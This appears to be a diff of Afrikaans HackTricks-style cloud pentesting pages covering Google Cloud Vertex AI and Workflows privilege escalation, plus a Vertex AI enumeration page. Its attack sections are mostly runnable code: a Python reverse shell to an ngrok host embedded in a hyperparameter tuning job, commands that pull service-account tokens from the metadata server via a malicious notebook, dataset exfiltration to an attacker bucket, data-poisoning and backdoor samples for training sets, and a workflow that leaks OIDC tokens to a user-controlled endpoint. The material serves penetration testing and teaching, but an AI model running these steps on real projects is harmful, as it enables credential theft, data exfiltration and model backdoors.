||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
Skep **hyperparameter tuning jobs** wat willekeurige kode uitvoer met verhoogde bevoegdhede deur middel van pasgemaakte training-containers.
|
||||
|
||||
Hyperparameter tuning jobs laat jou toe om verskeie training trials gelyktydig uit te voer, elk met verskillende hyperparameter-waardes. Deur 'n kwaadwillige container met 'n reverse shell of exfiltration-opdrag te spesifiseer, en dit te koppel aan 'n bevoorregte service account, kan jy privilege escalation bereik.
|
||||
|
||||
**Impact**: Volledige privilege escalation na die teiken service account se toestemmings.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Skep hyperparameter tuning job met reverse shell</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
Eksporteer **datasets** om opleidingsdata te exfiltrate wat sensitiewe inligting kan bevat.
|
||||
|
||||
**Nota**: Dataset-operasies vereis REST API of Python SDK (geen gcloud CLI-ondersteuning vir datasets nie).
|
||||
|
||||
Datasets bevat dikwels die oorspronklike opleidingsdata wat PII, vertroulike sake-inligting, of ander sensitiewe inligting kan insluit wat gebruik is om produksiemodelle op te lei.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Eksporteer dataset om opleidingsdata te exfiltrate</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
Voer kwaadwillige of vergiftigde data in bestaande datastelle in om **die modelopleiding te manipuleer en backdoors in te voer**.
|
||||
|
||||
**Nota**: Datastel-operasies vereis die REST API of Python SDK (geen gcloud CLI-ondersteuning vir datastelle nie).
|
||||
|
||||
Deur vervaardigde data in 'n datastel in te voer wat gebruik word om ML-modelle op te leid, kan 'n aanvaller:
|
||||
- Introduce backdoors in modelle (trigger-gebaseerde verkeerde klassifikasie)
|
||||
- Vergiftig opleidingsdata om modelprestasie te verswak
|
||||
- Inspuit data om modelle te laat leak inligting
|
||||
- Manipuleer modelgedrag vir spesifieke insette
|
||||
|
||||
Hierdie aanval is besonder doeltreffend wanneer dit gemik is op datastelle wat gebruik word vir:
|
||||
- Beeldklassifikasie (inspuit verkeerd gemerkte beelde)
|
||||
- Teksklassifikasie (inspuit bevooroordeelde of kwaadwillige teks)
|
||||
- Objekopsporing (manipuleer bounding boxes)
|
||||
- Aanbevelingstelsels (inspuit valse voorkeure)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voer vergiftigde data in 'n datastel in</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**Aanvalscenario's:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning vir model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Doelgerigte aanval op spesifieke entiteite</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks kan ernstige gevolge hê:
|
||||
> - **Sekuriteitstelsels**: Om gesigherkenning of afwykingsdeteksie te omseil
|
||||
> - **Bedrogopsporing**: Modelle oplei om spesifieke bedrogspatrone te ignoreer
|
||||
> - **Inhoudmoderering**: Veroorsaak dat skadelike inhoud as veilig geklassifiseer word
|
||||
> - **Mediese AI**: Kritieke gesondheidstoestande verkeerd klassifiseer
|
||||
> - **Outonome stelsels**: Manipuleer voorwerpdeteksie vir veiligheidskritieke besluite
|
||||
>
|
||||
> **Gevolge**:
|
||||
> - Backdoored models wat by spesifieke triggers verkeerd klassifiseer
|
||||
> - Verminderde modelprestasie en akkuraatheid
|
||||
> - Vertekende modelle wat teen sekere insette diskrimineer
|
||||
> - Inligtinglekkasie deur modelgedrag
|
||||
> - Langdurige bestendigheid (modelle opgelei op poisoned data sal die backdoor erf)
|
||||
>
|
||||
>
|
||||
> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
>
|
||||
> > [!WARNING]
|
||||
> > > [!NOTE]
|
||||
> > **Verouderde API**: Die `aiplatform.notebookExecutionJobs.create` API is verouderd as deel van die Vertex AI Workbench Managed Notebooks-uitfasering. Die moderne benadering is om **Vertex AI Workbench Executor** te gebruik, wat notebooks deur `aiplatform.customJobs.create` laat loop (reeds hierbo gedokumenteer).
|
||||
> > Die Vertex AI Workbench Executor laat toe om notebook-uitvoerings te skeduleer wat op Vertex AI se custom training-infrastruktuur uitgevoer word met 'n gespesifiseerde service account. Dit is in wese 'n gerieflike omslaglaag rondom `customJobs.create`.
|
||||
> > **For privilege escalation via notebooks**: Gebruik die `aiplatform.customJobs.create` metode wat hierbo gedokumenteer is — dit is vinniger, meer betroubaar, en gebruik dieselfde onderliggende infrastruktuur as die Workbench Executor.
|
||||
>
|
||||
> **Die volgende tegniek word slegs vir historiese konteks verskaf en word nie aanbeveel vir gebruik in nuwe assesserings nie.**
|
||||
>
|
||||
> Skep **notebook execution jobs** wat Jupyter notebooks uitvoer met arbitrêre kode.
|
||||
>
|
||||
> Notebook jobs is ideaal vir interaktiewe-styl kode-uitvoering met 'n service account, aangesien hulle Python-kode-selle en shell-kommando's ondersteun.
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Skep kwaadwillige notebook-lêer</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Voer notebook uit met die teiken-diensrekening</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+31
-19
@@ -4,7 +4,7 @@
|
||||
|
||||
## Workflows
|
||||
|
||||
Basiese Inligting:
|
||||
Basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
@@ -12,11 +12,13 @@ Basiese Inligting:
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
Soos ek weet, is dit nie moontlik om 'n shell te kry met toegang tot die metadata-eindpunt wat die SA-akkrediteer van die SA wat aan 'n Workflow aangeheg is, bevat nie. Dit is egter moontlik om die toestemmings van die SA te misbruik deur die aksies wat binne die Workflow uitgevoer moet word, by te voeg.
|
||||
Sover ek weet is dit nie moontlik om 'n shell te kry met toegang tot die metadata-endpoint wat die SA-kredensiale van die SA wat aan 'n Workflow gekoppel is, bevat nie. Dit is egter moontlik om die permissies van die SA te misbruik deur die aksies wat uitgevoer moet word binne die Workflow by te voeg.
|
||||
|
||||
Dit is moontlik om die dokumentasie van die connectors te vind. Byvoorbeeld, dit is die [**bladsy van die Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In die sybalk is dit moontlik om verskeie ander connectors te vind.
|
||||
Dit is moontlik om die dokumentasie van die connectors te vind. Byvoorbeeld, dit is die [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In die sybalk kan jy verskeie ander connectors vind.
|
||||
|
||||
En hier kan jy 'n voorbeeld van 'n connector vind wat 'n geheim druk:
|
||||
En hier kan jy 'n voorbeeld vind van 'n connector wat 'n geheim uitdruk:
|
||||
|
||||
<details><summary>Workflow YAML konfigurasie om toegang tot secrets te kry</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,16 +33,20 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
Opdateer vanaf die CLI:
|
||||
</details>
|
||||
|
||||
Opdatering vanaf die CLI:
|
||||
|
||||
<details><summary>Ontplooi en voer workflows uit vanaf die CLI</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
As jy 'n fout soos `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` kry, **wag net 'n minuut en probeer weer**.
|
||||
As jy 'n fout kry soos `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, **wag net 'n minuut en probeer weer**.
|
||||
|
||||
As jy nie webtoegang het nie, is dit moontlik om 'n Workflow te aktiveer en die uitvoering te sien met:
|
||||
As jy nie webtoegang het nie, is dit moontlik om die uitvoering van 'n Workflow te trigger en te sien met:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Jy kan ook die uitvoer van vorige uitvoerings nagaan om na sensitiewe inligting te soek.
|
||||
|
||||
Let daarop dat selfs al kry jy 'n fout soos `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` omdat jy nie daardie toestemming het nie, is die werksvloei gegenereer.
|
||||
|
||||
### Lek OIDC-token (en OAuth?)
|
||||
|
||||
Volgens [**die dokumentasie**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) is dit moontlik om werksvloei-stappe te gebruik wat 'n HTTP-versoek sal stuur met die OAuth of OIDC-token. Maar, net soos in die geval van [Cloud Scheduler](gcp-cloudscheduler-privesc.md), moet die HTTP-versoek met die Oauth-token na die gasheer `.googleapis.com` wees.
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Daarom is dit **moontlik om die OIDC-token te lek deur 'n HTTP-eindpunt** aan te dui wat deur die gebruiker beheer word, maar om die **OAuth**-token te lek, sal jy **'n omseiling** vir daardie beskerming benodig. Tog is jy steeds in staat om **enige GCP-api te kontak om aksies namens die SA uit te voer** deur middel van ofwel koppelvlakke of HTTP-versoeke met die OAuth-token.
|
||||
> Jy kan ook die uitvoer van vorige uitvoerings nagaan om na sensitiewe inligting te kyk
|
||||
|
||||
Let daarop dat selfs as jy 'n fout kry soos `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` omdat jy daardie toestemming nie het nie, is die workflow gegenereer.
|
||||
|
||||
### Leak OIDC token (en OAuth?)
|
||||
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) is dit moontlik om workflow-stappe te gebruik wat 'n HTTP-versoek met die OAuth of OIDC token sal stuur. Soos in die geval van [Cloud Scheduler](gcp-cloudscheduler-privesc.md), moet die HTTP-versoek met die Oauth token egter na die gasheer `.googleapis.com` wees.
|
||||
|
||||
> [!CAUTION]
|
||||
> Daarom is dit **moontlik om die OIDC token te leak deur 'n HTTP-endpoint aan te dui** wat deur die gebruiker beheer word, maar om die **OAuth** token te leak sou jy **'n ompad (bypass) nodig hê** vir daardie beskerming. Nietemin kan jy steeds **kontak enige GCP api om optrede namens die SA uit te voer** deur óf connectors óf HTTP-versoeke met die OAuth-token te gebruik.
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow HTTP versoek met OAuth token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>Workflow HTTP-versoek met OIDC-token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
Met hierdie toestemming, in plaas van `workflows.workflows.create`, is dit moontlik om 'n reeds bestaande werksvloei op te dateer en dieselfde aanvalle uit te voer.
|
||||
Met hierdie toestemming, in plaas van `workflows.workflows.create`, is dit moontlik om 'n reeds bestaande workflow op te dateer en dieselfde aanvalle uit te voer.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) is Google Cloud se geïntegreerde masjienleer-platform vir die bou, ontplooiing en bestuur van AI-modelle op skaal. Dit kombineer verskeie AI- en ML-dienste in een geïntegreerde platform, wat datascientists en ML-ingenieurs in staat stel om:
|
||||
|
||||
- Oplei aangepaste modelle met AutoML of custom training
|
||||
- Ontplooi modelle na skaalbare endpoints vir voorspellings
|
||||
- Bestuur die ML-levensiklus van eksperimentering tot produksie
|
||||
- Verkry toegang tot pre-trained models uit Model Garden
|
||||
- Monitor en optimaliseer modelprestasie
|
||||
|
||||
### Key Components
|
||||
|
||||
#### Models
|
||||
|
||||
Vertex AI models verteenwoordig opgelei masjienleer-modelle wat na endpoints ontplooi kan word vir die dien van voorspellings. Modelle kan wees:
|
||||
|
||||
- Uploaded vanaf custom containers of model artifacts
|
||||
- Gemaak deur AutoML training
|
||||
- Geïmporteer vanaf Model Garden (pre-trained models)
|
||||
- Versioned met meerdere weergawes per model
|
||||
|
||||
Elke model het metadata insluitend sy framework, container image URI, artifact location, en serving configuration.
|
||||
|
||||
#### Endpoints
|
||||
|
||||
Endpoints is hulpbronne wat ontplooide models huisves en online voorspellings bedien. Sleutelfunksies:
|
||||
|
||||
- Kan meerdere deployed models huisves (met traffic splitting)
|
||||
- Verskaf HTTPS endpoints vir real-time voorspellings
|
||||
- Ondersteun autoscaling gebaseer op verkeer
|
||||
- Kan private of public toegang gebruik
|
||||
- Ondersteun A/B testing deur traffic splitting
|
||||
|
||||
#### Custom Jobs
|
||||
|
||||
Custom jobs laat jou toe om custom training kode te laat loop met jou eie containers of Python-pakkette. Kenmerke sluit in:
|
||||
|
||||
- Ondersteuning vir distributed training met meerdere worker pools
|
||||
- Konfigureerbare machine types en accelerators (GPUs/TPUs)
|
||||
- Service account attachment vir toegang tot ander GCP-resources
|
||||
- Integrasie met Vertex AI Tensorboard vir visualisering
|
||||
- VPC connectivity opsies
|
||||
|
||||
#### Hyperparameter Tuning Jobs
|
||||
|
||||
Hierdie jobs soek outomaties vir optimale hyperparameters deur meerdere training trials met verskillende parameterkombinasies te hardloop.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
Model Garden bied toegang tot:
|
||||
|
||||
- Pre-trained Google models
|
||||
- Open-source models (insluitend Hugging Face)
|
||||
- Third-party models
|
||||
- Een-kliek ontplooiingsvermoëns
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
Tensorboards bied visualisering en monitoring vir ML-eksperimente, wat metrics, model graphs en training progress opspoor.
|
||||
|
||||
### Service Accounts & Permissions
|
||||
|
||||
By verstek gebruik Vertex AI-dienste die Compute Engine default service account (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), wat Editor-permissies op die projek het. Jy kan egter custom service accounts spesifiseer wanneer:
|
||||
|
||||
- Custom jobs geskep word
|
||||
- Modelle geupload word
|
||||
- Modelle na endpoints ontplooi word
|
||||
|
||||
Hierdie service account word gebruik om:
|
||||
- Toegang tot training data in Cloud Storage te kry
|
||||
- Logs na Cloud Logging te skryf
|
||||
- Toegang tot secrets vanaf Secret Manager te kry
|
||||
- Interaksie met ander GCP-dienste te hê
|
||||
|
||||
### Data Storage
|
||||
|
||||
- Model artifacts word gestoor in Cloud Storage buckets
|
||||
- Training data woon gewoonlik in Cloud Storage of BigQuery
|
||||
- Container images word gestoor in Artifact Registry of Container Registry
|
||||
- Logs word na Cloud Logging gestuur
|
||||
- Metrics word na Cloud Monitoring gestuur
|
||||
|
||||
### Encryption
|
||||
|
||||
By verstek gebruik Vertex AI Google-managed encryption keys. Jy kan ook konfigureer:
|
||||
|
||||
- Customer-managed encryption keys (CMEK) vanaf Cloud KMS
|
||||
- Encryption geld vir model artifacts, training data, en endpoints
|
||||
|
||||
### Networking
|
||||
|
||||
Vertex AI-hulpbronne kan gekonfigureer word vir:
|
||||
|
||||
- Public internet access (verstek)
|
||||
- VPC peering vir private toegang
|
||||
- Private Service Connect vir veilige konnektiwiteit
|
||||
- Shared VPC ondersteuning
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### Modelinligtinginsameling
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### Eindpuntbesonderhede
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
